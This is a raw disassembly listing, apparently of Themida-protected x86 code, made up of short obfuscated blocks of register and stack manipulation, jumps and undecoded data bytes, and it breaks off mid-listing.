dd 653Eh, 81240C8Bh, 4C4h, 4E0C100h, 8904EC83h, 68243Ch
dd 8B000000h, 0C481243Ch, 4, 8B97C729h, 0C481243Ch, 4
dd 0FFAC7AE9h, 4C783FFh, 8B243C87h, 53E92424h, 66000052h
dd 57240C8Bh, 0FF71ADE9h, 20B966FFh, 66416671h, 0F1816649h
dd 2966D061h, 665966CBh, 1C8BDF09h, 6AE36824h, 34890000h
dd 0E7895724h, 4C781h, 80E90000h, 5B000021h, 0E9C701h
dd 58FFFFE2h, 0FF9549E9h, 2AC781FFh, 503429DCh, 79076857h
dd 0F75F7E64h, 581FE9DFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E69A: ; CODE XREF: Themida_:0056A80Cj
or edx, 19ED7A8Bh
add edx, 62C43038h
neg edx
push ebp
mov ebp, 5CD10393h
jmp loc_568C4E
; ---------------------------------------------------------------------------
db 29h
dd 0C28DE9FBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E6BA: ; CODE XREF: Themida_:0056143Dj
mov edx, [esp]
add esp, 4
push edx
push 19D9h
mov [esp], esp
push 0A26h
mov [esp], edx
mov edx, 4
sub dword ptr [esp+4], 687A7C7Eh
jmp loc_5768D6
; ---------------------------------------------------------------------------
db 89h
dd 0E9532404h, 0FFFF2D07h
; ---------------------------------------------------------------------------
loc_56E6EC: ; CODE XREF: Themida_:00562DC8j
sub ebx, esi
jmp loc_5677B2
; ---------------------------------------------------------------------------
db 5Ch
dd 0BA241489h, 437D4110h, 1DB5CA81h, 814A66EDh, 2F4D41E2h
dd 0CFF5272h, 24148B24h, 0E904C483h, 6809h
; ---------------------------------------------------------------------------
loc_56E718: ; CODE XREF: Themida_:0057563Cj
add edx, 74CC2106h
push esi
mov esi, 3DBE4A5Ch
add edx, esi
pop esi
jmp loc_5764B8
; ---------------------------------------------------------------------------
dd 0E9E68956h, 0FFFF978Bh, 0E924148Bh, 0FFFFF3BBh, 5C241487h
dd 0FF921DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E745: ; CODE XREF: Themida_:0056B36Bj
not eax
xchg eax, [esp]
pop edx
sub edx, 46378B99h
jmp loc_57658D
; ---------------------------------------------------------------------------
dw 0C138h
dd 28E4E99Ch, 348BFFFFh, 67E95624h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E767: ; CODE XREF: Themida_:0056730Fj
push dword ptr [esp+4]
jmp loc_562837
; ---------------------------------------------------------------------------
loc_56E770: ; CODE XREF: Themida_:00569871j
xchg eax, [esp]
jmp loc_5725D8
; ---------------------------------------------------------------------------
dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 7793E924h
dd 0BD550000h, 34FD7D17h, 0FF9C79E9h, 4C381FFh, 0E9000000h
dd 0FFFF44FBh, 81DAF742h, 192C16EAh, 0FBEA811Bh, 5524FC74h
dd 0D452D6BDh, 0E2EA814Eh, 0E977EC52h, 0FFFF93E3h
; ---------------------------------------------------------------------------
loc_56E7C8: ; CODE XREF: Themida_:00569BC9j
mov esp, [esp]
shr ecx, 0Ah
push 3C42h
mov [esp], ebx
push edx
mov edx, 65A84139h
jmp loc_575641
; ---------------------------------------------------------------------------
db 81h, 0E9h, 59h
dd 0E90CC00Ch, 4F7Fh, 81242C8Bh, 4C4h, 241C8B00h, 76E8E950h
dd 3358FFFFh, 0EBE9242Ch, 0C100006Ch, 0F18108E9h, 5DE2308Bh
dd 0DA43F181h, 0CA015D50h, 4EA8159h, 33000000h, 14312414h
dd 24143324h, 2424895Ch, 4BA52h, 54010000h, 8B5A0424h
dd 0C481241Ch, 4, 0EE95250h, 83FFFFE2h, 2C8704EDh, 4895C24h
dd 0FEE95724h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E857: ; CODE XREF: Themida_:0057147Bj
pop ebx
push eax
mov eax, 268D726Bh
jmp loc_56840F
; ---------------------------------------------------------------------------
aMhx8 db '¬hx8',0
dd 241C8900h, 0E937B652h, 8C9h, 0E003BF57h, 0C2818CE9h
dd 2FBA47B1h, 0EA81FA01h, 2FBA47B1h, 0E9D3015Fh, 0FFFF7FD0h
; ---------------------------------------------------------------------------
loc_56E890: ; CODE XREF: Themida_:005614D6j
and eax, ebp
push dword ptr [esp]
pop ebp
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
jmp loc_56B29F
; ---------------------------------------------------------------------------
dd 0B8240489h, 56CB7BF2h, 0FFC6B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E8BD: ; CODE XREF: Themida_:0057668Fj
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebx
push 0FFFFFFFFh
mov ebx, [esp]
add esp, 4
sub [edi+24h], ebx
mov ebx, [esp]
push 3276h
jmp loc_5696B2
; ---------------------------------------------------------------------------
dw 0FF5Ch
dd 34FF2434h, 0C4835924h, 0D4EEE904h, 0B353FFFFh, 50D3F6D4h
dd 0B151FEB4h, 0EF37E9B3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E902: ; CODE XREF: Themida_:00575A1Aj
sub bh, 38h
sub al, bh
pop ebx
and bl, al
pop eax
jmp loc_56434F
; ---------------------------------------------------------------------------
loc_56E910: ; CODE XREF: Themida_:00567784j
add edi, 4
jmp loc_5629E1
; ---------------------------------------------------------------------------
loc_56E91B: ; CODE XREF: Themida_:0056B6ABj
mov edx, 65163177h
sub edx, 65163173h
add esi, edx
jmp loc_566901
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 4Fh
dd 54FFFF91h, 5721E959h, 489FFFFh, 801AB424h, 0D4F6C4CCh
dd 0E9E9E480h, 0FFFFA253h
; ---------------------------------------------------------------------------
loc_56E94C: ; CODE XREF: Themida_:0056691Cj
mov eax, 1A112527h
and eax, 5BA66A1h
and eax, 3174407Bh
sub eax, 25BC50D7h
jmp loc_570595
; ---------------------------------------------------------------------------
db 2Ch, 0ABh, 66h
dd 6824148Bh, 17C2h, 89240C89h, 6D17E9E1h, 0CA880000h
dd 285B5859h, 0D8005AD0h, 4EC81h, 1C890000h, 0E9F7B324h
dd 77E9h, 0E95EF221h, 0FFFF4A14h, 829AE952h, 0C381FFFFh
dd 0D9C5D34Bh, 0FF7E74E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E9AD: ; CODE XREF: Themida_:00567EA3j
push eax
jmp loc_567EA8
; ---------------------------------------------------------------------------
loc_56E9B3: ; CODE XREF: Themida_:005663FCj
push dword ptr [esp]
pop ecx
jmp loc_56D50F
; ---------------------------------------------------------------------------
dd 81241C8Bh, 4C4h, 7D966800h, 4890000h, 0E9E08924h, 0FFFF7052h
; ---------------------------------------------------------------------------
loc_56E9D4: ; CODE XREF: Themida_:00567733j
pop ecx
push ebp
jmp loc_570654
; ---------------------------------------------------------------------------
loc_56E9DB: ; CODE XREF: Themida_:0056CF74j
xor ebp, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
push edx
mov edx, 4
sub ebx, 46660FBCh
sub ebx, 1BC012C0h
add ebx, edx
add ebx, 1BC012C0h
add ebx, 46660FBCh
pop edx
jmp loc_572647
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 4C481h, 0EE810000h, 8920490h, 90E9F501h, 0BDFFFF52h
dd 0FF7C1737h, 6B1FE9h, 81494900h, 0FBBDE2E9h, 0B4C38133h
dd 292A6961h, 0B4EB81CBh, 8B2A6961h, 0C481240Ch, 4, 6ACD68h
dd 538DE900h, 0E9530000h, 0FFFFD1EBh, 4EC8156h, 89000000h
dd 4812424h, 424h, 0DDE95E00h
db 4Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56EA6F: ; CODE XREF: Themida_:00562879j
sub edx, 1CB210F2h
add edx, ecx
jmp loc_569F87
; ---------------------------------------------------------------------------
dd 0ABE9EA89h, 29FFFF42h, 814D58C5h, 0F84C55EDh, 0E9EA01C8h
dd 290Ah
; ---------------------------------------------------------------------------
loc_56EA94: ; CODE XREF: Themida_:0056FB04j
shl edi, 2
push esi
mov esi, 0BFB6718h
shl esi, 3
jmp loc_572220
; ---------------------------------------------------------------------------
loc_56EAA5: ; CODE XREF: Themida_:0057347Bj
mov ebx, ebp
pop ebp
jmp loc_5714CB
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0E5h
dd 14B3A13h, 0CDE959C8h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56EABB: ; CODE XREF: Themida_:00574699j
add esp, 4
push esi
mov esi, 0A315E7h
neg esi
dec esi
shr esi, 8
or esi, 0F9D6FEDh
jmp loc_5676B7
; ---------------------------------------------------------------------------
db 64h, 0FFh, 32h
dd 0FF2565E9h, 0C057B1FFh, 885207E1h, 0F6EA86CAh, 0C265E9D5h
dd 4481FFFFh, 6D4E0424h, 34FF6765h, 6366E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56EAFE: ; CODE XREF: Themida_:00570D84j
add esp, 4
jmp loc_562DF7
; ---------------------------------------------------------------------------
dw 2C89h
dd 2474FF24h, 242C8B04h, 4C481h, 0FAE90000h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56EB1B: ; CODE XREF: Themida_:00563A01j
and edx, ebx
pop ebx
shl edx, 1
push 5DD7h
mov [esp], esi
mov esi, 1C7F016Eh
add edx, esi
mov esi, [esp]
push esi
mov esi, esp
jmp loc_56B35A
; ---------------------------------------------------------------------------
loc_56EB3A: ; CODE XREF: Themida_:00568B8Dj
pop eax
jmp loc_565D96
; ---------------------------------------------------------------------------
dd 1ABC0566h, 2632D66h, 7C080566h, 30576866h, 240C8966h
dd 0FFAC7FE9h, 4C281FFh, 68000000h, 6F8Fh, 56243C89h, 4BEh
dd 55D7E900h, 14330000h, 24143124h, 5C241433h, 8B24048Fh
dd 0F662424h, 9C2404A3h, 0FF24B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56EB8D: ; CODE XREF: Themida_:0056F310j
sub eax, 34E13427h
add ebx, eax
pop eax
push esi
jmp loc_56E3F2
; ---------------------------------------------------------------------------
loc_56EB9B: ; CODE XREF: Themida_:00571E15j
push 321Ch
jmp loc_569E9B
; ---------------------------------------------------------------------------
loc_56EBA5: ; CODE XREF: Themida_:00572E84j
push ecx
push edx
jmp loc_56AE43
; ---------------------------------------------------------------------------
loc_56EBAC: ; CODE XREF: Themida_:005620C3j
add esp, 4
add esp, 4
sub esp, 4
mov [esp], esi
push 5AF2h
mov [esp], edi
jmp loc_56B621
; ---------------------------------------------------------------------------
db 57h
dd 4BFh, 0E9F98900h, 0FFFF7EF5h
; ---------------------------------------------------------------------------
loc_56EBD8: ; CODE XREF: Themida_:0056423Bj
and al, cl
mov cx, [esp]
sub esp, 4
jmp loc_56EDD5
; ---------------------------------------------------------------------------
dw 0E781h
dd 1B5B7BB8h, 18BCF81h, 0E7D1086Bh, 0FF4C781h, 0FE89E641h
dd 70BB535Fh, 0C132984Ch, 0CB8107E3h, 0A6E4D8Dh, 8904EC83h
dd 5ABE2434h, 294E4146h, 0C3815EF3h, 0FFFFFFFFh, 573AC381h
dd 0F3810930h, 46FE98CFh, 0C15BDE31h, 0F68102E6h, 40B67334h
dd 5DE9DEF7h
db 5Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56EC3F: ; CODE XREF: Themida_:0056129Ej
mov [esp], ebx
mov ebx, 4
sub eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_567C0D
; ---------------------------------------------------------------------------
loc_56EC57: ; CODE XREF: Themida_:00576AE9j
add eax, esi
add eax, 0C6053Fh
push dword ptr [esp]
pop esi
add esp, 4
and ecx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_56FA9A
; ---------------------------------------------------------------------------
db 0BAh, 0B9h, 66h
dd 0D0011608h, 0FFE968E9h, 1BE950FFh
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56EC87: ; CODE XREF: Themida_:00565BB3j
add esi, ebp
pop ebp
jmp loc_564D3B
; ---------------------------------------------------------------------------
loc_56EC8F: ; CODE XREF: Themida_:00564F4Fj
mov ebp, 5D1425CDh
inc ebp
sub ebp, 17442864h
shr ebp, 4
add ebp, 61F85F67h
add eax, ebp
pop ebp
push esi
mov esi, 14AF4C29h
add esi, 21874623h
jmp loc_5668B7
; ---------------------------------------------------------------------------
dd 0A56DE95Dh, 8B66FFFFh, 0B168240Ch, 8900002Eh, 0EC81242Ch
dd 4, 0FFF7ABE9h, 7AE95BFFh, 5000027h, 4, 0FF9E1AE9h, 48F54FFh
dd 4B85024h, 1000000h, 0E9042444h, 0FFFF7F03h, 5124048Bh
dd 0C181E189h, 4, 4C181h, 0C870000h, 0A7E95C24h
db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56ED13: ; CODE XREF: Themida_:00561FBBj
xor edx, ebx
xchg edx, [esp]
mov eax, [esp]
jmp loc_573D4C
; ---------------------------------------------------------------------------
loc_56ED20: ; CODE XREF: Themida_:00562E0Cj
mov edi, 38CA06C6h
jmp loc_567705
; ---------------------------------------------------------------------------
loc_56ED2A: ; CODE XREF: Themida_:0056BA75j
dec ecx
jmp loc_56C362
; ---------------------------------------------------------------------------
loc_56ED30: ; CODE XREF: Themida_:0057504Ej
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
shr ecx, 0Bh
jmp loc_5696E2
; ---------------------------------------------------------------------------
dd 0E904EC83h, 46B2h, 3E7BED81h, 0EC834A5Bh, 24148904h
dd 0F548B7BAh, 72FDE908h, 2C87FFFFh, 1CE95C24h, 8FFFFF54h
dd 0BF572404h, 4, 4247C01h, 2434FF5Fh, 347BE9h, 81E18900h
dd 4C1h, 4BF5700h, 0E9000000h, 0FFFF369Fh
; ---------------------------------------------------------------------------
loc_56ED9C: ; CODE XREF: Themida_:005615E4j
add ebx, edi
pop edi
jmp loc_561ADE
; ---------------------------------------------------------------------------
loc_56EDA4: ; CODE XREF: Themida_:005627C9j
pop eax
add esp, 4
push 30F2h
mov [esp], esi
jmp loc_56C102
; ---------------------------------------------------------------------------
dd 0BE56E389h, 240006E9h, 71C68146h, 0C12C8036h, 0E68105EEh
dd 9DD652Fh, 0FFF137E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56EDD5: ; CODE XREF: Themida_:0056EBE1j
mov [esp], edx
push esp
jmp loc_5611C9
; ---------------------------------------------------------------------------
dw 0C301h
dd 2C38158h, 56000000h, 0C681E689h, 4, 3C51B850h, 0D2D7EF4h
dd 351C782Dh, 53740161h, 505E8C1h, 0FE77BF93h, 3358C629h
dd 34312434h, 24343324h, 241C895Ch, 42474FFh, 5B2434FFh
dd 4C481h, 1DE90000h, 51000007h, 0AA532BB9h, 2FBF577Dh
dd 317DAA53h, 0CA015FF9h, 0BB535059h, 71165B55h, 5D296FB8h
dd 8BD83132h, 0C483241Ch, 5CC03504h, 0D5441h, 3575BC6Ah
dd 149B142Bh, 257ACD2Dh, 0F6EA8163h, 12F9018h, 4EC83C2h
dd 0BE243489h, 387A548Ah, 6680E9h
db 0
; ---------------------------------------------------------------------------
loc_56EE7D: ; CODE XREF: Themida_:00566B72j
sub edx, 74CC2106h
jmp loc_57563A
; ---------------------------------------------------------------------------
dd 2959CB29h, 9CC381C3h, 8B557D0Fh, 0C4812404h, 4, 0B951CB29h
dd 774D4908h, 5959CB01h, 31241C33h, 1C33241Ch, 24248B24h
dd 61B2E9h, 4FDB100h, 0E9C8009Dh, 500Ah
; ---------------------------------------------------------------------------
loc_56EEC4: ; CODE XREF: Themida_:00566D05j
sub ebx, 18934098h
sub ebx, eax
add ebx, 18934098h
mov eax, ebx
pop ebx
add eax, 13B27132h
add eax, 430A7CE5h
dec eax
sub eax, 150FD131h
jmp loc_563704
; ---------------------------------------------------------------------------
loc_56EEEA: ; CODE XREF: Themida_:0056FEA5j
add ebp, esi
pop esi
xchg ebp, [esp]
pop esp
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
jmp loc_56C4E9
; ---------------------------------------------------------------------------
loc_56EEFF: ; CODE XREF: Themida_:0056C1FFj
mov esi, 1036080Dh
add eax, esi
pop esi
push ebp
push ebx
mov ebx, 4DB10DA0h
jmp loc_56F512
; ---------------------------------------------------------------------------
db 52h
dd 0B951E289h, 4, 0BCE9CA01h, 80FFFF28h, 0B60F8DC3h, 0AA7CE9C0h
dd 8C68FFFFh, 89000007h, 74B82404h, 355A170Ch, 5A170C70h
dd 1CE868h, 4B6BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56EF4A: ; CODE XREF: Themida_:00562D0Fj
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop esi
push ebx
push 4C5Ah
jmp loc_575CBC
; ---------------------------------------------------------------------------
db 89h
dd 0EBB241Ch, 0E95B7120h, 0FFFF4B07h, 0E9C0CEB1h, 98C18004h
dd 0E9B0EF80h, 0FFFFACF9h, 88BAB652h, 24148BF7h, 4C481h
dd 0D12C0000h, 0FFA651E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56EF91: ; CODE XREF: Themida_:005629E8j
add esi, 4
jmp loc_572092
; ---------------------------------------------------------------------------
dd 3B56F781h, 0F7817853h, 830CA789h, 315FF989h, 0D1F75EF1h
dd 0FF4F20E9h, 1EE181FFh, 0F775C21Bh, 0C1D1F7D1h, 0E98106E1h
dd 0EFA043F9h, 8B59CD29h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor eax, ebp
pop ebp
xor ebx, eax
push ecx
push edx
push 540503Ah
mov edx, [esp]
add esp, 4
not edx
xor edx, 4ED5115Ch
add edx, 290C17CDh
jmp loc_566CD1
; ---------------------------------------------------------------------------
loc_56F009: ; CODE XREF: Themida_:00566525j
pop edi
xor ebp, 7BF06584h
add ebp, 1C9A408Ah
mov edi, ebp
pop ebp
mov edx, edi
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_576048
; ---------------------------------------------------------------------------
dw 7401h
dd 0ACE90424h, 8BFFFF78h, 0EC81242Ch, 4, 0FF8D08E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F04D: ; CODE XREF: Themida_:0056717Ej
pop esi
push dword ptr [esp]
jmp loc_56FA3C
; ---------------------------------------------------------------------------
loc_56F056: ; CODE XREF: Themida_:0056FF50j
add ecx, ebx
jmp loc_5716A5
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 2Fh
dd 57FFFF67h, 0FFBE60E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F069: ; CODE XREF: Themida_:005707D9j
pop edi
add eax, 4
jmp loc_56D3A1
; ---------------------------------------------------------------------------
loc_56F072: ; CODE XREF: Themida_:0056CBE8j
xor ebp, 42562BCBh
sub edi, ebp
pop ebp
dec edi
shr edi, 7
not edi
add edi, 6DFB15A7h
sub edx, edi
pop edi
and edx, 145D155Eh
jmp loc_562681
; ---------------------------------------------------------------------------
db 0BFh, 3Ch, 71h
dd 0F9295A8Dh, 67E9815Fh, 0C161DB36h, 0BD5502E1h, 1, 0E95DE901h
dd 0D11h
; ---------------------------------------------------------------------------
loc_56F0B4: ; CODE XREF: Themida_:0056D9E2j
add esi, 7C9B468Fh
or edi, esi
jmp loc_56641F
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0E924248Bh, 1A1Fh, 4BBh, 0FFDA0100h, 685B2434h, 1C23h
dd 89243C89h, 4C781E7h, 81000000h, 4C7h, 74FF5700h, 81E90424h
dd 5CFFFF59h, 4C481h, 0C870000h, 24248B24h, 0FF2434FFh
dd 68582434h, 39BBh, 0E9242C89h, 0FFFFD16Bh, 0C181E189h
dd 4, 0A6685056h, 585B7126h, 6829E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F12E: ; CODE XREF: Themida_:00572E38j
mov edx, 4
add eax, edx
mov edx, [esp]
jmp loc_572CB9
; ---------------------------------------------------------------------------
db 0B3h, 29h, 28h
dd 24148BF3h, 4C481h, 82C0000h, 0FF5479E9h, 2C483FFh, 245C0166h
dd 1C8B6602h, 5731E924h, 0C4830000h, 2B6D6804h, 1C890000h
dd 6C79E924h, 5E5D0000h, 8BD5315Fh, 0C4832414h, 5DE80104h
dd 0AD02E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F186: ; CODE XREF: Themida_:0056BD1Bj
mov [esp], edi
sub esp, 4
mov [esp], esi
push 85D1D6Fh
push dword ptr [esp]
pop esi
jmp loc_57548C
; ---------------------------------------------------------------------------
loc_56F19D: ; CODE XREF: Themida_:0056C9D9j
push 6A4Ah
sub esp, 4
mov [esp], esp
jmp loc_570963
; ---------------------------------------------------------------------------
dd 136CEBBAh, 1EA8348h, 3AA8BE56h, 44E900C4h, 52FFFF53h
dd 5A7E9h, 81E68900h, 4ECh, 61F1E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56F1D6: ; CODE XREF: Themida_:0056159Fj
pop ebp
add ebx, edi
mov edi, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
and eax, ebx
jmp loc_575DC6
; ---------------------------------------------------------------------------
db 81h, 0CDh, 0ACh
dd 0C1378A04h, 0C14D04EDh, 0ED8105EDh, 9750C69Ah, 89E9EE29h
dd 0F7FFFFDEh, 0B6E945D5h, 50FFFF4Bh, 9204B1B8h, 58C78973h
dd 0F781EFD1h, 420E7373h, 0D7F7DFF7h, 41CAE9h, 7EE98100h
dd 14DE241h, 7EC181D9h, 5B4DE241h, 2AE5E9h
db 0
; ---------------------------------------------------------------------------
loc_56F23D: ; CODE XREF: Themida_:0056DCDDj
mov ebx, 4ECB59DCh
sub eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_56C514
; ---------------------------------------------------------------------------
loc_56F252: ; CODE XREF: Themida_:00573C99j
pop ebp
jmp loc_56BCF8
; ---------------------------------------------------------------------------
dd 5BD8295Dh, 0B60F66h, 29696866h, 24048966h, 0FFA470E9h
dd 5E8D1FFh, 87CFE54h, 5F58C601h, 5C243487h, 51C8BF0Fh
dd 5157E189h, 0B741E953h, 0CCBBFFFFh, 21121D02h, 0F4E95BD9h
dd 0FFFFFFC9h, 835F2434h, 0C30104C4h, 0FF6F3CE9h, 4EC83FFh
dd 52243489h, 0D45C71BAh, 0E9D68972h, 0FFFF8CDFh
; ---------------------------------------------------------------------------
loc_56F2B8: ; CODE XREF: Themida_:005745CEj
mov ebp, edx
pop edx
xor ebp, 2F2B8Fh
add esi, ebp
pop ebp
push edx
mov edx, 4
push ebx
jmp loc_56DAAD
; ---------------------------------------------------------------------------
loc_56F2D0: ; CODE XREF: Themida_:00569EA6j
not ebp
add ebp, 56F9177Ah
jmp loc_574D25
; ---------------------------------------------------------------------------
loc_56F2DD: ; CODE XREF: Themida_:005716A0j
mov eax, 53A9266Ah
jmp loc_565305
; ---------------------------------------------------------------------------
db 50h
dd 0C968E953h, 0C681FFFFh, 4, 0E9243487h, 0FFFFCAD3h, 0E940478Fh
dd 1BE2h, 5424248Bh, 0FFFA66E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F30D: ; CODE XREF: Themida_:0056133Bj
add eax, 0FFFFFFFFh
jmp loc_56EB8D
; ---------------------------------------------------------------------------
db 0BBh, 4, 0
dd 0DA010000h, 2414335Bh, 0FF8A80E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F325: ; CODE XREF: Themida_:00569FEBj
mov esi, 8456D984h
xor ecx, esi
pop esi
add ebp, 34F87050h
jmp loc_573159
; ---------------------------------------------------------------------------
loc_56F338: ; CODE XREF: Themida_:00572ED3j
add ebx, edi
sub ebx, 6C162DF3h
jmp loc_569FC8
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0FF5F22E9h, 241C89FFh, 0E751E168h, 0BFAFE92Ah, 0D568FFFFh
dd 0E9000028h, 0FFFF3F57h, 0C6FED6F6h, 6AF6E9h, 101ABF00h
dd 7C0161E0h, 5D5F0C24h, 4246C81h, 687B1217h, 5B5CE9h
dd 24248B00h, 45C2B951h, 77E96E97h, 28FFFF69h, 8B2A04F0h
dd 0C4812414h, 4, 4EC81h, 4890000h, 0B770E924h, 68FFFFh
dd 29000000h, 815A2414h, 669B18F2h, 5AD501AEh, 4C581h
dd 2C330000h, 242C3124h, 0FF319BE9h, 24348BFFh, 4C481h
dd 525E0000h, 72126851h, 0E9594779h, 0FFFF732Bh
; ---------------------------------------------------------------------------
loc_56F3E8: ; CODE XREF: Themida_:0056B2F1j
add ecx, edi
sub ecx, 4D143FE9h
jmp loc_56A4C5
; ---------------------------------------------------------------------------
db 0F7h, 0D0h, 5
dd 7C763BFBh, 158C389h, 241C8BD8h, 81E68956h, 4C6h, 1145E900h
dd 23680000h, 8900004Ch, 0E389241Ch, 4BD55h, 0EB010000h
dd 5D2434FFh, 4B86E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56F42E: ; CODE XREF: Themida_:0056CE7Bj
add ebx, 0AEB65FB6h
and edx, ebx
pop ebx
xor edx, 4D833000h
sub ebx, edx
mov edx, [esp]
add esp, 4
add ebx, edi
add ebx, 17C3305Ah
mov edi, [esp]
add esp, 4
push 4C4Dh
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_567523
; ---------------------------------------------------------------------------
loc_56F46A: ; CODE XREF: Themida_:00571803j
pop ebx
pop edx
push edx
push 233B0ACBh
pop edx
or edx, 59EB4463h
dec edx
inc edx
xor edx, 35301737h
add eax, edx
pop edx
jmp loc_56DCD3
; ---------------------------------------------------------------------------
db 68h, 56h, 6Bh
dd 5F680000h, 8900007Ah, 0E8E92424h, 5FFFFF5Ah, 535DEA29h
dd 0C5774DBBh, 0E9DA0969h, 0FFFF8BF0h, 63E4E581h, 814555E6h
dd 70120F5h, 5DEA3160h, 38D9CA81h, 2EE91196h, 89000043h
dd 74FF2404h, 0E9580424h, 0FFFF74FFh
; ---------------------------------------------------------------------------
loc_56F4D4: ; CODE XREF: Themida_:00567F70j
mov [esp], esi
mov esi, 0B1D0F2Ah
add esi, 57C01BF7h
jmp loc_56650E
; ---------------------------------------------------------------------------
loc_56F4E7: ; CODE XREF: Themida_:0057337Ej
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_56FD09
; ---------------------------------------------------------------------------
loc_56F4FC: ; CODE XREF: Themida_:005616C4j
mov esi, [esp]
add esp, 4
shr ebp, 8
shr ebp, 8
push edi
push ecx
jmp loc_573A89
; ---------------------------------------------------------------------------
loc_56F512: ; CODE XREF: Themida_:0056EF0Ej
mov ebp, ebx
pop ebx
add eax, ebp
pop ebp
pop edi
push edi
mov edi, 35A70583h
not edi
jmp loc_574B08
; ---------------------------------------------------------------------------
dw 0E981h
dd 19A403DCh, 0E959CB31h, 527Fh
; ---------------------------------------------------------------------------
loc_56F534: ; CODE XREF: Themida_:00561DD0j
sub edx, 14E51287h
add edx, 59A678D8h
add [edx], ebx
pop edx
jmp loc_576987
; ---------------------------------------------------------------------------
dd 5C24048Fh, 2896664h, 0FF1AEDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F555: ; CODE XREF: Themida_:00569E83j
xor eax, edi
mov edi, [esp]
jmp loc_56FD51
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481240Ch, 4, 2C9768h, 241C8900h, 26E9E389h, 88FFFFF2h
dd 0B1C6E9F9h, 0F268FFFFh, 89000042h, 47BE2434h, 0E95B3932h
dd 0FFFFEAF9h
; ---------------------------------------------------------------------------
loc_56F590: ; CODE XREF: Themida_:00565FECj
mov [esp], ebp
jmp loc_56740A
; ---------------------------------------------------------------------------
aLS db '‹,$éÅ',0Dh,0
align 10h
loc_56F5A0: ; CODE XREF: Themida_:005726A5j
sub esi, eax
add esi, 3285573Ah
add esi, 1C401511h
add esi, 0ADE3B1Eh
pop eax
add esi, 3E7E5BA6h
sub esp, 4
jmp loc_568A4F
; ---------------------------------------------------------------------------
aIuhja db '‰ãhjA',0
dd 24148900h, 0FF2475E9h, 0C0D00CFFh, 1D3402E8h, 0C0FE3B24h
dd 0C6282C34h, 0C9E95158h, 0E9000026h, 0FFFF1A52h, 24348B66h
dd 2C481h, 8F660000h, 3FE92404h
db 1Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F603: ; CODE XREF: Themida_:0056609Fj
add ebp, 4
xchg ebp, [esp]
pop esp
add bl, 68h
jmp loc_5654A6
; ---------------------------------------------------------------------------
loc_56F612: ; CODE XREF: Themida_:0056CD74j
push 343B11B8h
pop ebp
add ebp, 0CBC4EE4Ch
push ebp
add dword ptr [esp], 79385781h
jmp loc_5716C8
; ---------------------------------------------------------------------------
db 57h
dd 0B850E789h, 4, 0FF899CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F639: ; CODE XREF: Themida_:00574460j
mov esp, [esp]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_561042
; ---------------------------------------------------------------------------
db 81h
dd 87FB71C7h, 566805DFh, 0F8010618h, 1856682Dh, 3D96E906h
dd 0C481FFFFh, 4, 148BD601h, 4C48324h, 0BAB95155h, 4905FA15h
dd 0FF55D6E9h, 0FED7F6FFh, 0B3B450C7h, 30C3EC80h, 4005E9E7h
dd 0C1B7FFFFh, 0B252D7F6h, 4CF28088h, 2E9D720h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F69F: ; CODE XREF: Themida_:0056D056j
sub esp, 4
mov [esp], esi
jmp loc_571B96
; ---------------------------------------------------------------------------
loc_56F6AA: ; CODE XREF: Themida_:0056D557j
